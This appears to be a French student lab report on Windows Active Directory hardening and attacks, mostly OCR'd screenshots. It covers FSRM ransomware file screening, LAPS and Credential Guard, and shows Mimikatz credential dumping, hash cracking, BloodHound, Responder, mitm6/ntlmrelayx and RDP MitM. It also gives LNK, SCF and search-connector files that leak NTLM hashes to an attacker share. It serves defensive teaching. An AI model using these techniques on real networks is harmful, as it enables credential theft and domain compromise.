Write-Host "Chargement du fichier : $PathToFile" -ForegroundColor Cyan

# Parsing

try {
$Content

$Al1lExtensions = $Content.filters

$Total = $AllExtensions.Count

Write-Host "-> $Total signatures détectées dans le fichier."
}
catch {

Write-Host "Erreur"

break
}

# Récupere le groupe existant
$ExistingGroup = Get-FsrmFileGroup -Name $GroupName

if ($ExistingGroup) {

Set-FsrmFileGroup -Name $GroupName -IncludePattern $AllExtensions
Write-Host "-> SUCCES"

Get-Content -Path $PathToFile -Raw | ConvertFrom-Json

Une fois le groupe créé, on va fabriquer notre template. On choisit notre groupe nommé

KnowExtensionRansomwares .

File Screen Template Properties for Ransomwares Templates X

Copy properties from template (optional)

Ransomwares Templates w Copy

ettings  E-mail Message Fvent Log Command Report
Template name:

‘ Ransomwares Templates

Screening type
(® Active screening: Do not allow users to save unauthorized files
() Passive screening: Allow users to save files (use for monitoring)

File groups

Select file groups to block:

[] Audio and Video Files -
Backup Files

E Cnmpr:’ssed Files O

[] E-mail Files

[] Executable Files

[ Extensions_Ransomwares_GitHub .
0O A To select & file group to
mage ries

edi, highlight its label.
.
R

< >

Mairtain file groups:

Edit...

Cancel

Ensuite il nous faut créer I'event
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https://raw.githubusercontent.com/DFFspace/CryptoBlocker/master/KnownExtensions.txt

File Screen Template Properties for Ransomwares Templates X

Copy properties from template (optional):
t:gansumwares Templates

Settings  E-mail Message Event Log  Command Report
Send waming to event log

Waming message
Type the text to use for the log entry.

To identify the file screen, file group, user, or event associated with the cument
notification, you can use Insert Variable to insert a variable in your text

Select vaniable to insert
[Admin Email] ~ Insert Variable

Inserts the e-mail addresses of the administrators who receive the e-mail.

Cancel

Note

Tout comme FSRM, il est possible de créer des alertes autres que des Event Logs comme des
mails.

Il faut bien choisir Active Screening car cela empéche la création du fichier, ensuite il faut
créer 'emplacement ou I'on veut appliquer le FSRM (mettre le chemin réel).

Clgate File Screen X

File screen path:

|C:\Shares Browse...

File screen properties

You can either use properties from a file screen template or define custom
file screen properties.

How do you want to configure file screen properties?
(@) Derive properties from this file screen template (recommended):

Ransomwares Templates w

() Define custom file screen properties:

Summary of file screen properties:

[=- File screen: C:\Shares
i Source template: Ransomwares Templates
Screening type: Active

; File groups: KnowExtensitionRansomwares; Ransomwares
. Notifications: Evert log

Create Cancel
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Note

Si I'on souhaite mettre le File Screening surle C:\ le screening type passera automatiquement

en passif

Le résultat :

4items

L,

|| 5
Home Share Wiew
i oh Cut
_J = chypatL} File Access Denied
k Copy Paste
| Paste shorteut
Clipboard

€ - T

s Quick access

[ Desktop

4 Downloads

|=| Documents

| Pictures
Applications
IT

“ia Local Disk (C:)

Systemn32
3= ThisPC

¥ Network

1 item selected 0 bytes

» This PC » Local Disk (C:

Name

=l[t4wannacry

| | t2wannacry
| | t3wannacry
| | testwannacry

ili You need permission to perform this action

You require permission from Administrators to make changes to this file

Mew Text Document.bet

Type: Text Document

Size: 0 bytes

Date modified: 05/04/2026 13:35

Try Again

lock ou

L= -

Cancel

<
State: a Shared

TtemUnauthorize

-ItemType File

em], Unauthori

ommand

Le file screening bloque la création de fichier immédiatement a condition que I'extension du
fichier soit dans la liste du file Screening, cela va générer un événement dans |'observateur
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d’'événement(application avec I'ID 8216). Grace a cet événement, on va pouvoir détecter une
des indicateurs de compromission si cela se repéete de facon répétée.

3.9 Extraction des identifiants

Pour cela nous allons utiliser I'outil Mimikatz. Cependant avant de commencer a extraire nos
identifiants, il va falloir activer les privileges debug pour cela il faut entrer la commande
privilege: :debug .

Pour pouvoir récupérer notre base SAM on utilise la commande 1sadump::sam. Cela nous
permettra de récupérer les hashes des comptes locaux de la machine.

rﬁmikatz # lsadump: :sam

Domain : LLDAPB1

SysKey : 1d3c476! i boefaldc23ife
49441-3217812159

: Beaeelfta
User : Administ

Hash NTLM: b37

RID : eoee8l1fs
User : Guest

RID : G8e8el1f7
User : DefaultAcco

RID : 68888113
User : WDAGUtil

hash NTLM : b3753064371424670c889fcfca3fbd29

Ensuite nous avons besoin de récupérer les secrets systemes. Pour cela on utilise la
commande lsadump::secrets

Sécurisation Windows 31 2025-2026



La clé DPAPI permet de chiffrer les secrets locaux comme les mots de passe du navigateur,
mot de passe WiFi enregistré et toute session RDP ou le mot de passe est enregistré.
Cependant, sur un AD, c’est I'ensemble des secrets des machines et utilisateurs du domaine
qui doit étre renouvelé car cette clé ne peut pas se régénérer.

Ensuite on obtient aussi le mot de passe de la machine. Celui-ci sert a s'identifier aupres de
I'Active Directory.

Pour extraire les identifiants actifs en mémoire nous allons utiliser la commande
sekurlsa: :logonpasswords . Celle-ci nous permettra de récupérer les hash NTLM, mots de
passe en clair et les tickets Kerberos.

Authentication Id

Session
User Name
Domain

: 0 ; 646215 (0000VLV:0009dc47)

Interactive from 1

: Administrator
: SERVAL

Logon Server

Logon Time
SID

LLDAPO1

: 05/04/2026 12:30:24
¢ S-1-5-21-426950008-2493848567-1074450823-500

msv
[00000003 ]

*

* ¥ ¥ ¥

Username
Domain
NTLM
SHA1
DPAPI

tspkg :
wdigest

*

*
*

Username :

Domain
Password

kerberos

*

Username :

Primary

: Administrator

. SERVAL

: 3dc3f9f5473055482749c50386a21180

: de60970ba66946289c55bclc9cl5aab@c6cf1500
82e71d0208877d631alcOc2e696F2113

Administrator
. SERVAL
(null)

Administrator
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* Domain : SERVAL.INT
* Password : (null)

On a réussi a récupérer le hash NTLM de I'administrateur. On peut essayer de trouver le mot
de passe avec des outils comme CrackStation ou bien Hashcat.

workspace # hashcat -m 1000 test -a © /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting

Dictionary cache built:

* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344393

* Bytes.....: 139921544

* Keyspace..: 14344386

* Runtime...: 1 sec

3dc3f9f5473055482749c50386a21180: Lespatates.

Session..........: hashcat

Status...........: Cracked

Hash.Mode........: 1000 (NTLM)

Hash.Target......: 3dc3f9f5473055482749c50386221180
Time.Started.....: Thu Apr 9 11:40:13 2026 (© secs)
Time.Estimated...: Thu Apr 9 11:40:13 2026 (@ secs)
Recovered........: 1/1 (100.00%) Digests

Note

Le mot de passe a été ajouté a rockyou pour I'exemple, mais un attaquant possede des listes bien
plus poussées.

On peut aussi dumper la base LSASS depuis le Gestionnaire de taches > Détails > 1lsass.exe
puis clic droit > Extraire la mémoire en fichier.

Pour éviter d'étre présent sur les listes, il est conseillé d'aprés I'ANSSI d'utiliser un mot de
passe de plus de 12 caracteres avec de la complexité.

3.10 LAPS

LAPS sert a avoir des mots de passe admins uniques sur chacun des postes. Par défaut il est
présent sur les versions récentes de Windows Server et Windows 11.

La premiere étape consiste a étendre le schéma Active Directory pour inclure les deux
attributs nécessaires ms-Mcs-AdmPwd et ms-Mcs-AdmPwdExpirationTime . Ces attributs
permettent de gérer le mot de passe local et sa date d'expiration.

Update-AdmPwdADSchema
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Operation DistinguishedName

cn=ms-| —-AdmPwdExpirationTime,CN=5chema,CN=Configuration,DC=5... S
hemaAttribute  cn=ms-Mcs-AdmPwd,CN=Schema,CN=Configuration,DC=serval,DC=int

ModifySchemaClass cn=computer ,CN=5Schema,CN=Configuration,DC=serval ,DC=int

3.10.1 Configuration des permissions sur 'OU

3.10.1.1 A. Configuration des ordinateurs

Les machines doivent étre capables de mettre a jour leur propre mot de passe dans LAPS.
Pour cela on leur donne les droits :

Set-AdmPwdComputerSelfPermission -OrgUnit "OU=PC,DC=serval,DC=int"
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PS C:\Users‘Administrator> Set-AdmPwdComputerSelfPermission

3.10.1.2 B. Nettoyage des droits étendus

-OrgUnit "OU=PC,DC=5erval ,DC=1nt"

Delegated

Le groupe Utilisateurs Authentifiés posséde des droits étendus permettant de lire des
attributs LAPS par défaut. Il faut supprimer I'autorisation Tous les droits étendus pour ce

groupe sur I'OU.

z
File Action View Help
&= | 6 BE
¥ ADS| Edit a Actions
@4 Connection Settings x -
L ADS! Edit N
MName: |Defaultnaming context | More Actions »

Acti
edit
Lig

and

Toc
Con

Path: | LDAP; [/LLDAPO1.serval.int/Default naming context |

Connection Point
(D) select or type a Distinguished Name or Naming Context:

| > |

® Skct a well known Naming Context:

Default naming context v

Computer

(") select or type a domain or server: (Server | Domain [:port])
| v

(®) Default (Domain or server that you logged in to)

[Juse 5L -based Encryption

Advanced...
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z

FilElkA(tiDH View  Help

— = Advanced Security Settings for PC m} ®
e 2EXE LR x
2 ADSI Edit N "
~ § Default naming context [LLL Owner: Dorain Admins (SERVAL\Domain Admins) Change
~ ] DC=serval DC=int
~| CN=Builtin Permissions Auditing Effective Access
" CN=Computers
~| OU=Domain Control For additional information, double-click a permission entry. To modify a permission entry, select the entry and click Edit (if available). FolicyMember
9 OU=Domain User , ceAccount
| CN=ForeignSecurityf Smision enthes lerPassordieplication?o
“ OU=Groupes Type  Principal Access Inherited from Applies to A | lomainControlleraccount
- Ch=Keys 82 Deny  Everyone Special Mane This object only sswordPalicySubject
o CN=LostAndFound 2 Allow  SELF None Descendant Computer objects -
-] CN=Managed Servicy 82 Allow  SELF None Descendant Computer objects plembershio
- EEZDIDS Quotas 82 Allow  Account Operators (SERVAL\... CreatedeleteInetOrg... None This object only fertyListMember
= CNoProgrom Dt 82 Allow  Account Operators (SERVAL\.. Create/delete Comput.. MNone This object only ctionGroup
- CN:Systm H2 Allow  Account Operators (SERVAL\... Creste/delete Groupo... None This object only e
“ CN=TPM Devices 8% Allow  Print Operators (SERVAL\Prin... CrEatar:de\EtePrmtevu.” Mone This object only erver
4 CN=Users 88 Allow  Account Operators (SERVAL\... ~Create/delete User obj.. Mane This object only
S8 Allow  Domain Admins (SERVAL\Do... Full control None This object only Package
B8 Allow  Authenticated Users Special None This object only v
Ension
Add Remove Restore defaults
entPolicyServer
Disable inheritance cemerRole
< > || < oK Cancel
Permission Entry for PC m} X
Principal:  Authenticated Users Select a principal A
Type: Allow ~
Applies to: | This object only w
Permissions:
[C1Full contral [[] Delete msDS-App-Configuration objects
List contents [] Create msDS-AppData objects
ead all properties [[] Delete msDS-AppData objects
[ Write all properties [[] Create msDS-AzAdminManager objects
[ Delete [[] Delete msDS-AzAdminManager objects
[[] Delete subtree [[] Create msDS-GroupManagedServiceficcount objects
Read permissions [[] Delete msDS-GroupManagedServiceAccount objects
[ Medify permissions [[] Create msDS-ManagedServiceAccount objects
[ Meodify owner [[] Delete msD5-ManagedServiceAccount objects
[ AN validated writes [[] Create msDS-ShadowPrincipalContainer objects
All extended rights [ Delete msDS-ShadowPrincipalContainer ohjects
[[] Create all child ohjects [] Create msExchCenfigurationCentainer ohjects
[ Delete all child objects [[] Delete msExchCenfigurationContainer objects
[ Create account objects [ Create msieee80211-Policy objects
[[] Delete account objects [[] Delete msieeed0211-Policy objects
[[] Create applicationEntity objects [[] Create msimaging-PSPs objects
[[] Delete applicationEntity objects [[] Delete msimaging-PSPs objects
[ o nlierrinn ahincte [0 et n RACAAR Gennin it 9
Cancel

Vérification des droits actuels :

Pour auditer et vérifier qui a accés aux mots de passe sur n‘importe quelle OU :

Find-AdmPwdExtendedrights -Identity "PC" | Format-Table
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PS5 C:\Users\Administrator> Find-AdmPwdExtendedrights -Identity "PC"” | Format-Table

ObjectDN ExtendedRightHolders

oU=PC,DC=serval ,DC=1nt {NT AUTHORITY\SYSTEM, SERVAL‘Domain Admins}

3.10.1.3 C. Attribution des droits d’administration

On définit ensuite qui a le droit de lire et de réinitialiser les mots de passe (le groupe
GG_Adm_LAPS ).

Droit de lecture (voir le mot de passe) :

Set-AdmPwdReadPasswordPermission -Identity "OU=PC,DC=serval,DC=int" -AllowedPrincipals
"GG_Adm_LAPS"

P5 C:\Users‘\Administrator> Set-AdmPwdReadPasswordPermission -Identity "OU=PC,DC=Serval,DC=int" -AllowedPrincipals "GG_Adm_LAPS"
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Droit de réinitialisation :

Set-AdmPwdResetPasswordPermission -Identity "OU=PC,DC=serval,DC=int" -AllowedPrincipals

"GG_Adm_LAPS"

PS C:\Users\Administrator> Set-AdmPwdResetPasswordPermission -Identity "OU=PC,DC=Serwval,DC=int" -AllowedPrincipals "GG_Adm_LAPS"

DistinguishedName

OU=PC,DC=serval ,DC=1nt

Status

Delegated

3.10.2 Déploiement par GPO

3.10.2.1 A. Installation du client LAPS

Depuis Windows 11 LAPS est nativement installé sur les machines cependant ayant 2
machines Windows 10 il faut installé le client LAPS sur ces postes.Pour faire cela on utilise

une GPO.

1. Placer le fichier .msi dans le partage réseau des applications.
2. Créer une GPO (Configuration ordinateur > Parameétres logiciels > Installation de

logiciel).
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& # L A (I ERENEN 7 B
L File Action View Window Help L] Install_LAPS [LLDAPOTSERVALI|| Name Version Deployment st... Source
'Y EET v CD’:F‘“_‘_E’C”"f'g“’“'“" B Local Administrator P... 62 Assigned \\lldap01 serval.int\ApplicationsS...
v [ Policies
51 Domain User |[install_LAPS ~ [7] Software Settings
Groupes Scope Detalls  Setings| Software installat
~ & PC . ~ [ Windows Settings
=i/ desactiver winde — “| Name Resolution
< Install_Tzip Platfor &4 Scripts (Startup/S
si/ Profils_itinerant Suppor T Security Settings
«J ROP = Wl Policy-based Oof
+] Rotation_LAPS om ~ (7] Administrative Temp,
~ [ Group Policy Object Genc | Control Panel
= Default Domain 7| LAPS
=/ Default Domain Depl | Network
L5/ desactiver windc Depl 7 Printers
= Install_7zip % Server
=/ Install_LAPS Uninst “ Start Menuand T
=/ Map_NTFS out of ¢ % System
=/ Profils_itinerant “| Windows Compc
=l ROP Advar [ Al Settings
= Rotation_LAPS o % Preferences
% WM Filters packad v # User Configuration
T Starter GPOs ot % Policies
7 Sites ] % Preferences
5 Group Policy Modeling B N
< - o ] - >

3.10.2.2 B. Configuration de la stratégie de rotation

[l faut activer LAPS et définir les regles de complexité des mots de passe.
Chemin : Configuration ordinateur > Modeéles d'administration > LAPS.

Parameétres :
 LAPS Config : Activer la gestion du mot de passe.
« Password Settings : Définir la longueur et la durée de validité ainsi que sa complexité.

. |’\\L: & Enable local admin passwerd management O X

g File Action View Help [} Enable local admin password management Prfen Saing
= am = H

|7

1 = Rotation_LAPS [LLDAPO1.SERVA| | - | aApg O Mot Configured Comment:
v i Computer Configuration 5
v ™ Palicies Enable local admil (@) Enabled
o management
~ [ ] Software Settings () Disabled
Software installat! :
| Edit policy sefting) Supported on: [ a4 jeact Microsoft Windows Vista or Windows Server 2003 family

~ [] Windows Settings
~| Name Resolution|| Requirements:
| Scripts (Startup/S At least Microsoft

Zh Security Settings Windows Server 2{ Opticns; Help:
alli Pelicy-based Qo Description:
~ || Administrative Temp)
“| Control Panel Enables manage Enables management of password for local administrator
= LAPS local administrato account
| Network If you enable this If you enable this setting, local administrater password is
| Printers administrator pas: managed
_| Server i ) ) ] )
Start Menu and T|| If you disable or n If you disable or not configure this setting, local administrator
= System setting, local adm password is NOT managed
= Windows Compe is NOT managed
iy All Settings
_| Preferences

~ i, User Configuration
“| Policies
| Preferences

1
~
v

\ Extended / Stan
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S Group P

File Action View Help

o= 2@ BHE T

M Password Settings

[ Password Settings

Next Setting

\] Rotation_LAPS [LLDAPO1.SERVA

~ {& Computer Configuration
v [ Policies

~ [ Software Settings

[ Software installat
~ (] Windows Settings

1 Name Resolution

2 Scripts (Startup/S

[ Security Settings

ol Policy-based Qof

~ (] Administrative Temp|

Control Panel
LAPS

Netwark
Printers

| Server

| StartMenuand T

| System
“| Windows Compc
7. All Settings

| Preferences

v i, User Configuration

7 Policies
7| Preferences

-

LAPS

Password Settings

Edit policy setting

Requirements:
At least Microsoft Windows Vista
or Windows Server 2003 family

Description:
Configures password parameters

Password complexity: which
characters are used when
generating a new password
Default: Large Ietters + small
letters + numbers + special
characters

Password length
Minimum: & characters
Maximun: 64 characters
Default: 14 characters

Password agein days
Minimum; 1 day
Maximum: 365 davs

3.10.2.3 Vérification

At least Microsoft Windows Vista or Windows Server 2003 family

() Mot Configured ~ COMMeENt:
Setting | @ Enabled
8 Passw (O Disabled
A i Nam Supported on:
on
nabl
Options:

v
<

"\ Extended  Standard /

Help:

Password Complaxity
Large letters + small letters + numbers + specials
Password Length |14 =

Password Age (Days) 30 B

Configures password parameters

Password complexity: which characters are used when
generating @ new password

Default: Large letters + small letters + numbers + special

characters

Password length
Minimum: & characters
Maximum: 64 characters
Default: 14 characters

Password age in days
Minimum: 1 day
Maximum: 365 days
Default: 30 days

Cancel

Apply

On fait un gpupdate sur le poste et depuis I'AD on regarde les mots de passe avec LAPS UL
On vérifie que le mot de passe est unique.

[

LAPS LI

Computer name:

| DESKTOP-PGHBACN

| | Search

Password:

Passwond expires:

|07/05/2026 19:47:50

Mew expiration time {leave as is for immediate expiration):

-

mardi 7

avril

2026 19:50:50

Set
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? X

Managed By Dialin

e : _
I:'\\;cmpl.rlemame
[DESKTOP-4CSROGM || Search | freperties
Password: yystem  Member Of  Delegation Location
|g6r (raG, 1 #6via |
P-4CSROGM
Password expires:
[09r05/2026 22:03:21 |
. I . Windows 2000):  |DESKTOP-4CSROGM
New expiration time {leave as is forimmediate expiration):
[ eud 9 avil 2026220457 B Set ESKTOP-4CSROGM servalint |
Exit Narkstation or server |
T b
[ Don't show this message 6 Arthur P Description: |
[ > & Bill KRAI
=, 3 Luiz VAR
#§ File and st s > &
& File and Storage Services . &1 RH
5 2 Vente

3.11 Credential Guard

» [ ForeignSecurity
> [2] Groupes
> [ Managed Servic
v 3 PC
1K/ DESKTOP-4¢
18/ DESKTOP-P(
5 [ Users
< \

1

QK Cancel Apply

Help

Credential Guard permet d'isoler les secrets Windows (hashs NTLM, tickets Kerberos) dans un
conteneur, afin d'éviter les attaques Pass the Hash ou bien Mimikatz. Pour cela il va falloir

ajouter une GPO :

Configuration ordinateur\ Modeles d'administration\ Systeme\ Device Guard

5 Policy Management Editor
tion View Help
EalEalNEN * N 4
v [ System ~| R Deviee Guard
: j 2::;5-Demed}\ss\slan:e mm‘?nwnmmhnm
Security

(1 Audit Process Creation

(] Credentials Delegation

"] Device Guard

(] Device Health Attestation Service
> [71 Device Installation

(] Disk NV Cache

[ Disk Quotas

[ Display
> [] Distributed COM

1 Driver Installation

[ Early Launch Antimalware

(] Enhanced Storage Access

[ File Classification Infrastructure

(] File Share Shadow Copy Provider
> [ Filesystem

[ Folder Redirection
> [ Group Policy
> [ Internet Communication Manage

Edit policy setting

Requirements:
At least Windows Server 2016,
Windows 10

Description:
Specifies whether Virtualization
Based Securhy is enabled.

Virtualization Based Security uses
the Windows Hypervisor to
provide support for security
services. Virtualization Based
Security requires Secure Boot, and
can optionally be enabled with the
use of DMA Protections. DM
protections require hardware
support and will only be enabled
on correctly configured devices.

> [ iscs!
[ knC Virtualization Based Protection of
(] Kerberos , || code ntegrity
> Extended | Standard

Setting
] Deploy Win
o B Turn On Virt

Secure Boot and DMA Protection

Not Configured v

Credential Guard Configuration:
Not Configured -
Secure Launch Cenfiguration:

Not Configured v

= notswU AT
- WMI Filters
| Starter GPOs

<

‘WMI Filtering

v || This GPO s linked to the following WMI

Virtualization Based Protection of Code Integrity:

[ Require UEFI Memory Attributes Table

& Turn On Virtualization Based Security [m] >
EE] Tum On Virualization Based Security P—— -
) Not Configured ~ Comment:
@ Enabled
O Disabled
Supported on: [ A¢ |east Windows Server 2016, Windows 10
Options: Help:
Select Platform Security Level Specifies whether Virtualization Based Security is ensbled ~

Virtualization Based Security uses the Windows Hypenvisor to
provide support for security services. Virtualization Based
Security requires Secure Boot, and can optionally be enabled
with the use of DMA Protections. DMA protections require
hardware support and will only be enabled on correctly
configured devices.

Virtualization Based Protection of Code Integrity

This setting enables virtuslization based protection of Kemel
Mode Code Integrity. When this is enabled, kemel mode
memory protections are enforced and the Code Integrity
validation path is protected by the Virtualization Based Security
feature,

The "Disabled" option turns off Virtualization Based Protection of
Code Integrity remotely if it was previously turned on with the
*Enabled without lock" option.

Cancel Apply

Il est obligatoire d'avoir le Secure Boot activé sur la machine sinon le Credential Guard ne
pourra pas étre mis en place. Voici le type d'erreur :
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@pﬁm‘ﬁh_ !
Lid

Component Name Status Time Taken Last Process Time Event Log
Group Palicy Infrastructars Success 71 Millisecond(s) 09/04/2026 20:57:22 View Log
{F312195E-3D9D-447A-A3F3- Failed (ue datz) 31 Milliseccmd(s) 09/0412026 20:57:22 ViewLog
08DFFA24735E}

{F312195E-3DSD-44TA-A3F3-08DFFA24735E} failed due to the error listed below:
Secura Boot is not enabled on thi: machine.
Additional mformation may have been logged. Review the Policy Events tab i the console or the application event log for events between 09/04/2026 20:37:22 and 05/04/2026 20:37:22.

Registry Suecess 94 Millisacond(s) 09:04/2026 20:34:47 View Log.
Secunity Success 1740372026 03:37:25
Software Installation Success 3 Second(s) 172 Mallisecond(s) 09/04/2026 20:56:1% ViewLog.
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4 Attaque & Patch

4.1 Cartographie de I’'Active Directory

Pour faire une carte de notre Active Directory nous avons besoin d'un collecteur AD. On peut
utiliser différents outils comme bloodhound-python ou bien SharpHound. Cependant la
deuxiéme option est plus complexe pour un attaquant car elle nécessite d'installer un
collecteur sur le DC, ce qui est facilement détectable par les EDR.

Note

Pour pouvoir faire une collecte AD nous aurons besoin d'un compte utilisateur.

bloodhound-python -d serval.int -u apopov -p "Lescarrotes" -ns 192.168.100.31

apopov "Le

BloodHound.py for BloodHound LEGACY (BloodHound &.2
Found AD domain:
Getting TGT for u
WARNING: Failed to get rberos TGT. Falling back to NTLM authentication. Err
or: [Errno Connection er: (11dap@l.serval.int )1 [Errno -2] Name or servi
ce not known
INFO: Connecting to LDAP server: lldap@l.serval.int
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 3 computers
INFO: Found users
INFO: Connec ng to LDAP server: lldap@l.
INFO: Found 77 groups
INFO: Found @ trusts
INFO: Starting computer enume
INFO: Querying computer:
INFO: Que ing compu
INFO: O y i mpu
INFO: i M
INFO:

Grace a BloodHound-cli on va pouvoir identifier les comptes disposant de privileéges.
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ADMINISTRATOR@SERVAL.INT

DOMAIN ADMINS@SERVALINT

Voici les soucis de délégation de droits :

Ici nous pouvons voir le chemin le plus court vers le Domain Admin.
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ADMINISTRATORS@SERVAL.INT

22
ENTERPRISE ADMINS@SERVAL.INT

ADMINISTRATOR@SERVAL.INT

Si I'on rajoute un utilisateur dans le groupe Domain Admins cela va nous débloquer des
chemins d'attaque. Pour I'exemple nous avons ajouté 2 comptes admin, dont un prévu pour

la démonstration.

o

ADMINISTRATOR@SERVAL. ..

Act Liger

MemberOf

MemberDf

La délégation de droits :
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Le chemin d'attaque le plus court vers le Domain Admin :

4.2 Résolution de noms (LLMNR/NetBIOS Poisoning)

Le but de cette attaque est de faire de I'empoisonnement via les protocoles LLMNR /
NetBIOS. Si I'ordinateur cherche un serveur (ex : \\DCo1) et que le serveur DNS ne le trouve
pas, la machine va envoyer une requéte multicast en demandant «est-ce que quelqu’un
connait I'IP de la machine DCO1 ?». C'est la que I'outil responder nous est utile car il
permet de répondre «oui c'est moi ».
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Pour mettre en place Responder :

sudo responder -I etho -dvw

Pour tester si I'attaque fonctionne on peut essayer de chercher une machine dans
I'explorateur de fichiers : \\UnNomdeMachineQuinexistepas

=1 kiri(@hali ~

Session Actions Editer Vue Aide

n.com>
honResponder

Found DHCP server © 192.168.100.254, now waiti for incoming re
quests ...
[MDNS] P
[LLMNR]

On peut récupérer le hash NTLMv2 et y faire une attaque par dictionnaire :

hashcat -m 5600 -a @ hash.txt /usr/share/wordlists/rockyou.txt
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ope: one . RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Plat

303 M8 (2048 MB allocatable), 12MCU

5bce8939439: bFbT21d00d0MSEETdSb1425181£e535:010100000000000080ACAS6¢1 2cbdcO1aeIa95ETedOF28ack 2 o a o 0 04500 014700330059003800480011e000003I00STO0U
06 65001400430
14004100

0611£06113001410611c0603001400UB0057063860142002

c 101460020000000809360036006000069060:
910000000000000000000000000000000G00009001 24

d0UISEETAS ... 096000

On a réussi a récupérer le mot de passe car il s'agissait d'un mot de passe connu et le hash
ne possede pas de sel.

Note

Le mot de passe a été ajouté a rockyou pour I'exemple. Un attaquant possede des listes bien plus
poussées.

Cette attaque peut étre présentée sous d'autres formes fichier .1nk, .search-connector ou
bien .scf.

4.2.1 Fichier LNK

Le script PowerShell va créer un fichier cv.pdf.1lnk (I'extension .1lnk ne sera pas visible par
la victime). Ce fichier PDF pointera vers notre machine et la machine victime va s'authentifier,
nous récupérons ainsi le hash NTLMv2.

$WshShell
$CheminRaccourci
$Shortcut

New-Object -ComObject WScript.Shell
"$HOME \Desktop\cv.pdf.1lnk"
$WshShell.CreateShortcut($CheminRaccourci)

$Shortcut.TargetPath = "\\Couragecestbientotlafin\test\cv.pdf"
$Shortcut.IconLocation = "\\Couragecestbientotlafin\test\icone.ico"

$Shortcut.Save()
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kiri@kali: ~
Session Actions Editer Vue Aide

SSP Client 2.168.100.1¢
NTLMv2-55P Username : SERVAL\apopov
NTLMy2- SSP Hash : apopov::SERVAL:bea94721fd1d52f5: FF&E?BCBFQCIA&EB

20140041005600490037002E004C00
4FO0430041004C000500140041005600490037 4C000700080080351
QOE14CEDCA106000400020000000800300030000 02000004801F14162]
3C4030C6457C50298B4BASFA9EBBTAAF38153D7187E0721170BE920A00

4.2.2 Fichier SCF

On crée un fichier avec le contenu suivant :

[Shell]
Command=2
IconFile=\\Monbadgeexpert\partage\icone.ico

4.2.3 Fichier SearchConnector

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription
xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
<iconReference>\\Monbadgeexpert\test\test.ico</iconReference>
<description>Réseau Interne</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInSystemIndex>true</includeInSystemIndex>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17424956911}</folderType>
</templateInfo>
<simplelLocation>
<url>\\192.168.100.61\test</url>
</simplelLocation>
</searchConnectorDescription>

Avec les fichiers, il est assez facile d'imaginer un scénario d'attaque tel que du phishing. Le
prérequis de cette attaque est d'avoir une machine sur le réseau.
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4.3 Man-in-the-Middle IPv6

Par défaut Windows privilégie I'lPv6 par rapport a I'lPv4. Si la configuration des machines
permet d’'obtenir une adresse IPv6, un attaquant peut réaliser une attaque MitM.

On utilise I'outil mitmé pour écouter le réseau, répondre aux requétes des postes clients et se
déclarer comme serveur DNS IPv6 pour notre domaine.

sudo mitmé -d serval.int

Avec l'outil ntlmrelayx on va pouvoir récupérer les authentifications des machines victimes
et les rediriger vers le DC.

sudo impacket-ntlmrelayx -6 -t ldap://192.168.100.23 -wh croissant.serval.int -1 ./
resultat

— [~/resultat

domain_computers_by_os.html domain_groups.json domain_
domain_computers.grep domain_policy.gre domain_users_ iroup . html

domain_computers.html domain_pol |l domain_user
domain_computers. json domain_polic .' ( domain_user
domain_gre .gre domain_trusts.gre domain_user
domain_gre . domain_trusts. html

4.4 Man-in-the-Middle RDP

Pour démontrer I'attaque, j'ai utilisé I'outil seth qui permet I'usurpation ARP et force la
dégradation du chiffrement de la session RDP pour intercepter les identifiants de connexion.

sudo ./seth.sh <INTERFACE> <IP_ATTAQUANT> <IP_VICTIME> <IP_MACHINE_A_USURPER>

Une fois I'outil en place, il faut que la victime se connecte en RDP sur la machine usurpée.
Notre machine intercepte la requéte. L'utilisateur voit alors apparaitre un avertissement
Windows indiquant que «Lidentité de lordinateur distant ne peut pas étre vérifiée ».
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& Remote Desktop Connection X

|j\i The identity of the remote computer cannot be verified. Do
you want to connect anyway 7

The remote computer could not be authenticated due to problems with its
security certficate. k may be unsafe to proceed.
MName mismatch

1M Requested remote computer:
192.168.100.194

=] MName in the certificate from the remote computer:
DESKTOP-PGHB3CN serval int

Certificate emors

The following emors were encountered while validating the remote
computer’s cerificate:

/¥, The server name on the cerificate is incomect.

/v The certificate is not from a trusted certifying authority.

Do you want to connect despite these certificate emors?

[] Dont ask me again for connections to this computer

View cerficate... Yes

Si l'utilisateur ignore le certificat, on obtient le mot de passe en clair :

interpreter

nation ...

ht not

ht not

Si l'utilisateur déecide de refuser la connexion, on a réussi a recupérer le hash NTLMv2 :
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Si le mot de passe est faible ou connu des wordlists, il est possible d'utiliser une attaque par
dictionnaire. Méme si I'on n’arrive pas a récupérer le mot de passe, le hash nous permet de
faire une attaque de type Pass-the-Hash.
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5 Remeédiation

5.1 Résolution de noms

Pour contrer ce vecteur d'attaque il est indispensable de désactiver ces protocoles obsoleétes.
Pour cela il faut appliquer une GPO pour désactiver LLMNR :
Configuration Ordinateur > Modéles d'administration > Réseau > Client DNS et mettre le
parameétre Désactiver la résolution de noms multidiffusion sur «Activé ».

1 File Action View

[ = | 2@ =

w [ Netw

18

18

3 0

g

3 A

i sl

3 1

34

a4

i 5

i

i

. .
23 setting(s)

[Mbrrcpvmre 7

Details:
The detail can i

& Turn off smart multi-homed name resclution

[} Tum off smart multi-homed name resolution

Previous Setting Next Setting

(O Not Configured Comment:

(® Enabled

() Disabled

T

Supported on: [ ot |east Windows Server 2012, Windows 8 or Windows RT

Opticns:

Help:

Specifies that a multi-homed DNS client should optimize name
resolution across networks. The setting improves performance
by issuing parallel DNS, link lacal mulicast name resolution
(LLMMR) and MetBIOS over TCP/IP (NetBT) queries across all
networks. In the event that multiple positive responses are
received, the network binding order ic used to determine which
response to accept.

If you enable this policy setting, the DNS client will not perfform
any optimizations. DNS queries will be issued across all networks
first. LLMNR queries will be issued if the DNS queries fail,
followed by MetBT queries if LLMNR queries fail.

If you disable this policy setting, or if you do not configure this
policy setting, name resolution will be optimized when issuing
DNS, LLMMR and NetBT queries.

Pour désactiver NetBIOS, il faut le faire depuis le DHCP via les services étendus ou depuis la

carte réseau du PC.
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w
Netwaorking

Connect using:

@ Intel(R) PRO/1000 MT Metwork Connection

Configul

Thig connection uses the following tems:

Z3 Client for Microsoft Networks

